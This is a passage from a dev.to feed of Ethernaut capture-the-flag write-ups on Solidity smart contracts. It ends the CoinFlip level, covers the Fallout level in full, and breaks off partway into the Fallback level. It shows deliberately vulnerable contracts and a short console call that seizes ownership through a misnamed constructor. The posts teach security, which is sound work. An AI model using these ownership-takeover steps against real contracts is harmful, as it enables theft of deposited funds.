&lt;p&gt;Using this source of randomness is not wrong, it boils down to for what the randomness is being used for. If you are planning on building a lottery, the winner needs to determined with a more robust source of randomness, services like &lt;a href="https://chain.link/vrf?&amp;amp;utm_medium=paid-search&amp;amp;utm_source=google&amp;amp;agid=051i73y9sn0e&amp;amp;cnid=44v2tu4ilo0a&amp;amp;utm_term=vrf&amp;amp;utm_campaign=FY23Q2_Always+On+-+Ad+Words_Conversion+-+VRF&amp;amp;utm_source=adwords&amp;amp;utm_medium=ppc&amp;amp;hsa_acc=8091600258&amp;amp;hsa_cam=19912913975&amp;amp;hsa_grp=146911387639&amp;amp;hsa_ad=652920215427&amp;amp;hsa_src=g&amp;amp;hsa_tgt=kwd-32737346&amp;amp;hsa_kw=vrf&amp;amp;hsa_mt=b&amp;amp;hsa_net=adwords&amp;amp;hsa_ver=3&amp;amp;gad=1&amp;amp;gclid=CjwKCAjwvdajBhBEEiwAeMh1U2sahLIUKmP5j-rckw0OBy--YN8kaatdF9iJfnxrqzgSU_uzLcUbphoCQBEQAvD_BwE"&gt;Chainlink VRF&lt;/a&gt; should be considered for this type of dApps.&lt;/p&gt;

&lt;p&gt;Attacking &lt;code&gt;CoinFlip&lt;/code&gt; took me 31 calls and aprox. 1,480,734 units of gas. If the attack would been carried out on mainnet it would have cost me aprox. 149.86 USD. No one would've spent this amount of money to exploit a game with no actual prize, but if after accumulating the 10 wins there had been a monetary prize, hackers would have had a motivation in breaking your game, so depending of your application carefully choose a correct source of randomness.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading 📘📙
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://swcregistry.io/docs/SWC-120"&gt;SWC-120&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethereum</category>
      <category>solidity</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 2: Fallout</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Tue, 30 May 2023 01:15:23 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-2-fallout-1jh5</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-2-fallout-1jh5</guid>
      <description>&lt;h6&gt;
  
  
  &lt;em&gt;Requirements: basic understanding of constructors in Solidity.&lt;/em&gt;
&lt;/h6&gt;

&lt;h2&gt;
  
  
  The challenge 📄
&lt;/h2&gt;

&lt;p&gt;Claim ownership of the following contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="s"&gt;'openzeppelin-contracts-06/math/SafeMath.sol'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Fallout&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="k"&gt;using&lt;/span&gt; &lt;span class="n"&gt;SafeMath&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="kt"&gt;uint256&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;mapping&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;allocations&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;


  &lt;span class="cm"&gt;/* constructor */&lt;/span&gt;
  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;Fal1out&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;allocations&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;modifier&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
                &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="s"&gt;"caller is not the owner"&lt;/span&gt;
            &lt;span class="p"&gt;);&lt;/span&gt;
            &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;allocate&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;allocations&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;allocations&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;sendAllocation&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="n"&gt;allocator&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allocations&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;allocator&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;allocator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;allocations&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;allocator&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;collectAllocations&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;allocatorBalance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="n"&gt;allocator&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;allocations&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;allocator&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Studying &lt;code&gt;Fallout.sol&lt;/code&gt; 👩‍🏫👨‍🏫
&lt;/h3&gt;

&lt;p&gt;Similarly to the contract from the previous challenge, &lt;code&gt;Fallout.sol&lt;/code&gt; is a fundraiser. People are allowed pledge and unpledge ether whenever they want and the owner of the contract can withdraw funds.&lt;/p&gt;

&lt;p&gt;This contract uses a version of Solidity &lt;code&gt;&amp;lt; v0.8.x&lt;/code&gt;. This means the contract is prone to underflow and overflow. To protect the arithmetic operations the contract implements the &lt;code&gt;SafeMath&lt;/code&gt; library from OpenZeppelin and attaches the functions from this library to the &lt;code&gt;uint256&lt;/code&gt; type.&lt;/p&gt;

&lt;p&gt;State Variables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;allocations&lt;/code&gt;: keeps track of the amount deposited by each allocator.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;owner&lt;/code&gt;: &lt;code&gt;address&lt;/code&gt; of the current owner of the contract. This &lt;code&gt;address&lt;/code&gt; is marked as &lt;code&gt;payable&lt;/code&gt; enabling the account to receive ether from the contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Functions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Fal1out&lt;/code&gt;: the &lt;code&gt;constructor&lt;/code&gt; of the contract. Set &lt;code&gt;msg.sender&lt;/code&gt; as &lt;code&gt;owner&lt;/code&gt; and the &lt;code&gt;msg.value&lt;/code&gt; send during deployment as the &lt;code&gt;allocation&lt;/code&gt; for the deployer.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;allocate&lt;/code&gt;: method used to deposit ether in the contrac.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sendAllocation&lt;/code&gt;: method allocators can use to withdraw their allocation.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;collectAllocation&lt;/code&gt;: callable method by the &lt;code&gt;owner&lt;/code&gt; to withdaw the entire balance in the contract.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;allocatorBalance&lt;/code&gt;: reads the amount deposited by &lt;code&gt;allocator&lt;/code&gt;.
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hacking &lt;code&gt;Fallout.sol&lt;/code&gt; 💣💣
&lt;/h2&gt;

&lt;p&gt;This challenge was a little tricky for me because after inspecting the contract, the &lt;code&gt;Fal1out&lt;/code&gt; function with the &lt;code&gt;/* constructor */&lt;/code&gt; comment looked weird to me.&lt;/p&gt;

&lt;p&gt;When I started learning Solidity, the language was well beyond &lt;code&gt;v0.8.x&lt;/code&gt; and I did not know the syntax to declare a &lt;code&gt;constructor&lt;/code&gt; in older versions, specifically before &lt;code&gt;v0.4.22&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;From the Solidity docs:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Prior to version 0.4.22, constructors were defined as functions with the same name as the contract. This syntax was deprecated and is not allowed anymore in version 0.5.0.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;Fal1out&lt;/code&gt; was intended to be the &lt;code&gt;constructor&lt;/code&gt; of the contract but due a typo while writing it, the function is never called automatically because it's not recognized as a constructor and so the contract is not initialized at creation time. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;Fal1out&lt;/code&gt; ended up being compiled as a &lt;code&gt;public&lt;/code&gt; function accessible by any EOA to call it and claim the ownership of the contract and to gain access to the balance in the contract.&lt;/p&gt;

&lt;p&gt;After that brief explanation, it should be straightforward claiming the ownership of &lt;code&gt;Fallout&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In your dev tools call the &lt;code&gt;Fal1out&lt;/code&gt; method:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fal1out&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After the transaction is mined, verify you own the contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="n"&gt;await&lt;/span&gt; &lt;span class="k"&gt;contract&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="c1"&gt;// should return your address
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion ⚡️
&lt;/h2&gt;

&lt;p&gt;Creating a more robust syntax to declare a &lt;code&gt;constructor&lt;/code&gt; is one on the many changes implemented by the core devs to make Solidity a more robust and safe language.&lt;/p&gt;

&lt;p&gt;Despite the effort of the core devs, typos can still lead to lose of funds or unusable code, we should always try our best on reading our code before deploying it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading 🧟‍♀️🧟
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Solidity docs: &lt;a href="https://docs.soliditylang.org/en/latest/contracts.html#constructors"&gt;Constructors&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;&lt;a href="https://swcregistry.io/docs/SWC-118"&gt;SWC-118&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>ethereum</category>
      <category>solidity</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Ethernaut - Lvl 1: Fallback</title>
      <dc:creator>pacelliv</dc:creator>
      <pubDate>Sun, 28 May 2023 02:10:58 +0000</pubDate>
      <link>https://dev.to/pacelliv/ethernaut-lvl-1-fallback-f16</link>
      <guid>https://dev.to/pacelliv/ethernaut-lvl-1-fallback-f16</guid>
      <description>&lt;h6&gt;
  
  
  &lt;em&gt;Requirements: basic knowledged of smart contracts and how to interact with the ABI of a smart contract using web3js.&lt;/em&gt;
&lt;/h6&gt;

&lt;h2&gt;
  
  
  The contract 📑
&lt;/h2&gt;

&lt;p&gt;Given the following contract:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;
&lt;span class="c1"&gt;// SPDX-License-Identifier: MIT
&lt;/span&gt;&lt;span class="k"&gt;pragma&lt;/span&gt; &lt;span class="n"&gt;solidity&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mf"&gt;0.8&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;contract&lt;/span&gt; &lt;span class="n"&gt;Fallback&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;

  &lt;span class="k"&gt;mapping&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="kt"&gt;address&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

  &lt;span class="k"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;modifier&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
            &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="s"&gt;"caller is not the owner"&lt;/span&gt;
        &lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;contribute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;getContribution&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;view&lt;/span&gt; &lt;span class="k"&gt;returns&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;withdraw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="n"&gt;onlyOwner&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;payable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;owner&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;transfer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;this&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nb"&gt;balance&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="k"&gt;receive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;external&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;contributions&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;owner&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sender&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claim ownership and drain the balance.&lt;/p&gt;

&lt;h3&gt;
  
  
  Inspecting the contract 🕵️‍♀️🕵️
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;Fallback.sol&lt;/code&gt; is a fundraiser, to become a contributor users must pledge ether to the contract.&lt;/p&gt;

&lt;p&gt;The balance in the contract can only be withdrawn by the &lt;code&gt;owner&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;State variables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;contributions&lt;/code&gt;: this mapping keep tracks of the amount pledge by contributor.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;owner&lt;/code&gt;: address of the current owner of the contract.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Functions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;constructor&lt;/code&gt;: initializes &lt;code&gt;msg.sender&lt;/code&gt; as &lt;code&gt;owner&lt;/code&gt; and set the contribution of the deployer as &lt;code&gt;1000 ether&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;modifier onlyOwner&lt;/code&gt;: access control to prevent unauthorized accounts from calling the &lt;code&gt;withdraw&lt;/code&gt; method.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;contribute&lt;/code&gt;: method to pledge ether.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;getContribution&lt;/code&gt;: reads the contribution of &lt;code&gt;msg.sender&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;withdraw&lt;/code&gt;: withdraws the entire balance in the contract. Only callable by &lt;code&gt;owner&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;receive&lt;/code&gt;: special function that enables the contract to receive ether.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Hacking &lt;code&gt;Fallback.sol&lt;/code&gt; 👩‍💻👨‍💻
&lt;/h2&gt;

&lt;p&gt;Upon closer inspection, there are two ways to claim the ownership:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Through the &lt;code&gt;contribute&lt;/code&gt; method:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight solidity"&gt;&lt;code&gt;&lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;contribute&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;payable&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mf"&gt;0.001&lt;/span&gt; &lt;span class="kc"&gt;ether&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
